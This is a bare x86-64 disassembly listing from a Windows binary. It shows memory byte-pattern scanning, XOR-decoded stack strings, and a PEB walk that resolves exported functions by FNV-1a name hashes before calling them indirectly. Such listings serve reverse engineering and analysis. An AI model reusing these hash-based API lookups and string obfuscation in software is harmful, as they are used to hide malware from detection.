xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 7]
test r8b, r8b
je 0x14007c046
cmp byte [rax + 6], r8b
je 0x14007c046
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 8]
test r8b, r8b
je 0x14007c05e
cmp byte [rax + 7], r8b
je 0x14007c05e
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 9]
test r8b, r8b
je 0x14007c076
cmp byte [rax + 8], r8b
je 0x14007c076
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xa]
test r8b, r8b
je 0x14007c08b
cmp byte [rax + 9], r8b
je 0x14007c08b
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xb]
test r8b, r8b
je 0x14007c0a0
cmp byte [rax + 0xa], r8b
je 0x14007c0a0
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xc]
test r8b, r8b
je 0x14007c0b5
cmp byte [rax + 0xb], r8b
je 0x14007c0b5
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xd]
test r8b, r8b
je 0x14007c0ca
cmp byte [rax + 0xc], r8b
je 0x14007c0ca
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xe]
test r8b, r8b
je 0x14007c0df
cmp byte [rax + 0xd], r8b
je 0x14007c0df
xor cl, cl
jmp 0x14007c0f4
movzx r8d, byte [rax + rdx + 0xf]
test r8b, r8b
je 0x14007c0f4
cmp byte [rax + 0xe], r8b
movzx ecx, cl
cmovne ecx, esi
add r9d, 0x11
add rax, 0x11
cmp r9d, 0x11
jb 0x14007bf68
test cl, cl
jne 0x14007c122
inc r10d
inc r11
dec rdx
cmp r10d, 0xbfffff
jb 0x14007bf60
jmp 0x14007c128
movsxd r15, r10d
add r15, r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0xbfffff
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0xbfffff
mov rcx, r14
mov rdx, rax
mov rdi, rax
call fcn.14007a880
lea rdx, [0x14014d169]
mov rbx, rsi
sub rdx, rdi
lea r11, [rdi + 2]
sub rdx, 2
mov r10d, esi
nop dword [rax + rax]
mov cl, 1
mov r9d, esi
mov rax, r11
test cl, cl
je 0x14007c361
movzx r8d, byte [rdx + rax - 1]
test r8b, r8b
je 0x14007c198
cmp byte [rax - 2], r8b
je 0x14007c198
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax]
test r8b, r8b
je 0x14007c1af
cmp byte [rax - 1], r8b
je 0x14007c1af
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 1]
test r8b, r8b
je 0x14007c1c6
cmp byte [rax], r8b
je 0x14007c1c6
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 2]
test r8b, r8b
je 0x14007c1de
cmp byte [rax + 1], r8b
je 0x14007c1de
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 3]
test r8b, r8b
je 0x14007c1f6
cmp byte [rax + 2], r8b
je 0x14007c1f6
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 4]
test r8b, r8b
je 0x14007c20e
cmp byte [rax + 3], r8b
je 0x14007c20e
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 5]
test r8b, r8b
je 0x14007c226
cmp byte [rax + 4], r8b
je 0x14007c226
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 6]
test r8b, r8b
je 0x14007c23e
cmp byte [rax + 5], r8b
je 0x14007c23e
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 7]
test r8b, r8b
je 0x14007c256
cmp byte [rax + 6], r8b
je 0x14007c256
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 8]
test r8b, r8b
je 0x14007c26e
cmp byte [rax + 7], r8b
je 0x14007c26e
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 9]
test r8b, r8b
je 0x14007c286
cmp byte [rax + 8], r8b
je 0x14007c286
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xa]
test r8b, r8b
je 0x14007c29e
cmp byte [rax + 9], r8b
je 0x14007c29e
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xb]
test r8b, r8b
je 0x14007c2b6
cmp byte [rax + 0xa], r8b
je 0x14007c2b6
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xc]
test r8b, r8b
je 0x14007c2ce
cmp byte [rax + 0xb], r8b
je 0x14007c2ce
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xd]
test r8b, r8b
je 0x14007c2e3
cmp byte [rax + 0xc], r8b
je 0x14007c2e3
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xe]
test r8b, r8b
je 0x14007c2f8
cmp byte [rax + 0xd], r8b
je 0x14007c2f8
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0xf]
test r8b, r8b
je 0x14007c30d
cmp byte [rax + 0xe], r8b
je 0x14007c30d
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0x10]
test r8b, r8b
je 0x14007c322
cmp byte [rax + 0xf], r8b
je 0x14007c322
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0x11]
test r8b, r8b
je 0x14007c337
cmp byte [rax + 0x10], r8b
je 0x14007c337
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0x12]
test r8b, r8b
je 0x14007c34c
cmp byte [rax + 0x11], r8b
je 0x14007c34c
xor cl, cl
jmp 0x14007c361
movzx r8d, byte [rdx + rax + 0x13]
test r8b, r8b
je 0x14007c361
cmp byte [rax + 0x12], r8b
movzx ecx, cl
cmovne ecx, esi
add r9d, 0x15
add rax, 0x15
cmp r9d, 0x15
jb 0x14007c178
test cl, cl
jne 0x14007c38f
inc r10d
inc r11
dec rdx
cmp r10d, 0xbfffff
jb 0x14007c170
jmp 0x14007c395
movsxd rbx, r10d
add rbx, r14
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r15, r15
je 0x14007cc25
test rbx, rbx
je 0x14007cc25
mov r8d, 6
lea rdx, [0x1401507f0]
mov rcx, r15
call fcn.14007a880
mov r8d, 6
lea rdx, [0x140150748]
mov rcx, rbx
call fcn.14007a880
lea rdx, [0x14014d180]
mov rcx, r15
call fcn.14007a970
lea rdx, [0x14014d180]
mov rcx, rbx
call fcn.14007a970
mov rcx, qword [rsp + 0x50]
mov rdx, r13
call fcn.14007abd0
lea rdx, [0x1401507f0]
mov rcx, r15
call fcn.14007a970
lea rdx, [0x140150748]
mov rcx, rbx
call fcn.14007a970
cmp byte [0x140138763], sil
movups xmm0, xmmword [0x140138748]
mov eax, dword [0x140138760]
mov dword [rbp + 0x18], eax
mov eax, dword [0x140139120]
movups xmmword [rbp], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x140138758]
movzx eax, word [0x140139124]
movsd qword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x140139108]
mov word [rbp - 0x44], ax
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x140139118]
movsd qword [rbp - 0x50], xmm0
je 0x14007c604
mov r8d, esi
cmp r12d, 2
jl 0x14007c5c7
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 4]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007c4c0
cmp r8d, 0x1c
jge 0x14007c604
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1c
jl 0x14007c5d1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c697
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c697
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x94c838a2
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c692
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007c670
cmp r8d, 0xc699940b
je 0x14007c69c
test r9d, r9d
jne 0x14007c650
mov rax, qword [rax]
jmp 0x14007c620
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp]
add rax, r10
call rax
cmp byte [rbp + 0x1b], sil
jne 0x14007c844
mov r8d, esi
cmp r12d, 2
jl 0x14007c807
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 4]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007c700
cmp r8d, 0x1c
jge 0x14007c844
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1c
jl 0x14007c811
cmp byte [rbp - 0x43], sil
je 0x14007c9d4
mov r8d, esi
cmp r12d, 2
jl 0x14007c997
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x5c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14007c890
cmp r8d, 0x1e
jge 0x14007c9d4
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1e
jl 0x14007c9a1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ca67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ca67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x393586be
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ca62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007ca40
cmp r8d, 0x66f2a91f
je 0x14007ca6c
test r9d, r9d
jne 0x14007ca20
mov rax, qword [rax]
jmp 0x14007c9f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x60]
add rax, r10
call rax
cmp byte [rbp - 0x43], sil
jne 0x14007cd1c
cmp r12d, 2
jl 0x14007cbd8
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp - 0x5c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x18
jl 0x14007cad0
cmp eax, 0x1e
jge 0x14007cd1c
movsxd rax, esi
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, sil
inc esi
xor byte [r8 - 1], cl
cmp esi, 0x1e
jl 0x14007cbf0
jmp 0x14007cd1c
movzx eax, word [0x140138440]
movsd xmm0, qword [0x140138438]
movsd qword [rsp + 0x50], xmm0
mov word [rsp + 0x58], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ccc7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ccc7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x9ad456b4
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ccc2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14007cca0
cmp r8d, 0xf509b14d
je 0x14007cccc
test r9d, r9d
jne 0x14007cc80
mov rax, qword [rax]
jmp 0x14007cc50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x50]
xor byte [rsp + 0x51], 0x37
xor byte [rsp + 0x52], 0x38
xor byte [rsp + 0x53], 0x39
xor byte [rsp + 0x54], 0x3a
xor byte [rsp + 0x55], 0x3b
xor byte [rsp + 0x56], 0x3c
xor byte [rsp + 0x57], 0x3d
xor byte [rsp + 0x58], 0x3e
xor byte [rsp + 0x59], 0x3f
mov byte [rsp + 0x50], reloc.WS2_32.dll_WSASetLastError
add rax, r10
call rax
mov r12, qword [rsp + 0x148]
mov r15, qword [rsp + 0x140]
movaps xmm6, xmmword [rsp + 0x130]
mov rdi, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x198]
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140114060
add rsp, 0x158
pop r14
pop r13
pop rsi
pop rbp
ret